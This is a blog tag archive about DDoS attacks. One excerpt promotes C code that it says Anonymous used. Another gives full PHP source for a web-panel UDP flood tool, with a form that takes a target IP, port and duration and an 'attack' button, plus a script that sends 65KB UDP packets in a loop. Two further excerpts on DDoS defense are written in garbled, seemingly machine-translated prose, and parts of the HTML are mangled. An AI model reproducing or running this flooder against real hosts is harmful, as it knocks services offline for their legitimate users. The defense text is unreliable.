Posts Tagged ‘ddos’

The DDOS Attacks Source Code in C Programming Language

Distributed Denial of Services (DDoS) is not a new concept and has been an effective way to get attention. DDoS is simple to orchestrate and rather difficult to defend against.

I came across the code which allegedly has been used by Anonymous to carry out some attacks on their targets.The code itself is straightforward, generating the desired effect at will without the need to control a large number of systems.This is the DDOS attack source code in c programming language: Read more

PHP DDoS Attack Source Code

PHP DDOS Attack source code


index.php
<?php
$ip = $_SERVER['REMOTE_ADDR'];
?>
DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8″>
<meta name="author" content="">
<title>PHP DDoS Attack</title>
</head>
DDoS –>
<style type="text/css">
<!–
body {
font-family: Arial, Helvetica, sans-serif;
font-size: 12px;
font-style: normal;
line-height: normal;
color: #FFFFFF;
background-color: #000000;
}
–>
</style>
DDoS –>
<body>
<center>
IP: <?php echo $ip; ?> (don't use your ip)
<br>
<form name="input" action="function.php" method="post">
IP:
<input type="text" name="<span class=" />ip" size="15″ maxlength="15″ value ="0.0.0.0″ onblur = "if ( this.value==" ) this.value = '0.0.0.0';" onfocus = " if ( this.value == '0.0.0.0') this.value = ";">
&nbsp;
Time:
<input type="text" name="<span class=" />time" size="14″ maxlength="20″ value = "time(second)" onblur = "if ( this.value==" ) this.value = ‘time (in seconds)’;" onfocus = " if ( this.value =='time (in seconds)') this.value = ";">
&nbsp;
Port:
<input class="hiddenSpellError" type="text" name="port" value="socket" size="5" />onblur = "if ( this.value==") this.value ='port';"onfocus=" if (this.value=='port') this.value=";">
<br><br>
<input type="submit" value="attack&gt;">
<br><br>
</form>
</center>
<!– PHP DDOS–>
</body>
</html>

function.php
<?php
$packets = 0;
$ip = $_POST['ip'];
$rand = $_POST['port'];
set_time_limit(0);
ignore_user_abort(FALSE);
$exec_time = $_POST['time'];
$time = time();
print "Flooded: $ip on port $rand";
$max_time = $time+$exec_time;
for($i=0;$i<65535;$i++){
$out.= "X";
}
while(1){
$packets++;
if(time() > $max_time){
break;
}
$fp = fsockopen("udp://$ip",$rand,$errno,$errstr,5);
if($fp){
fwrite($fp, $out);
fclose($fp);
}
}
echo "Packet complete at ".time('h:i:s')." with $packets (".round(($packets*65)/1024, 2)." mB) packets averaging ".round($packets/$exec_time,2). " packets/s \n";
?>

How to Stop Distributed Denial of Service ( ddos attacks)

How to Stop Distributed Denial of Service ( ddos attacks)

 

DDOS is an acronym of Distributed Denial of Service .Defense Distributed Denial of Service ( ddos attack) is a systematic project, the DDOS attack is distributed, the concerto a wider range of large-scale offensive battle, of course, its ability to destroy before the less. It also makes the DDOS prevention work more difficult. Want to rely solely on the server of some kind of system or anti-anti-flow attack guard DDOS is unrealistic, be sure to completely eliminate DDOS is not possible, through appropriate measures against 99.9% of the DDOS attack can be done the sake of attack and defense has a cost overhead, through the appropriate way to enhance the ability to withstand DDOS, which means increased cost of attackers, then the vast majority of the attacker will not be able to continue to give up it is equivalent to the successful defense of a DDOS attack.
With the growing popularity in recent years, traffic attack wantonly spread on the Internet, the dangers of DDOS attacks escalated, the face of the potential variety of unpredictable attacks, more and more enterprises was overwhelmed and powerless. Single high anti-anti-traffic attack server as a powerful firewall, like the problem can be resolved is limited, while the cluster of high anti-anti-flow attacks, nor is the general business can grasp and use. How to ensure that the conditions of victims of DDOS attacks, the server system to normal operation or to reduce the dangers of DDOS attack? Read more

What is DDOS attack? Is there any way defense?

 

DDOS is an acronym of Distributed Denial of Service . And what is the denial of service ? Can be understood, all can lead to legitimate users don't access the normal behavior of network services are considered denial of service attacks. The purpose of denial of service attack is very clear, that is normal to prevent legitimate users access to network resources, so as to achieve the attacker's ulterior motives.

 It is also a denial of service attack, DDOS and DOS is different, DDOS attack strategies focused on by many zombie hosts (the host the attacker hacked or indirect use of )sends to the victim host a large number of seemingly legitimate network packets, resulting in network congestion or server resource exhaustion denial of service, distributed denial of service attack, once implemented, will attack like a flood of network packets flock to the victim host, thus bring the legitimate users of network packet flooding, leading to legal user can not access the network resources on severs. Therefore, denial of service attack has been called the "flood attacks," there is a Read more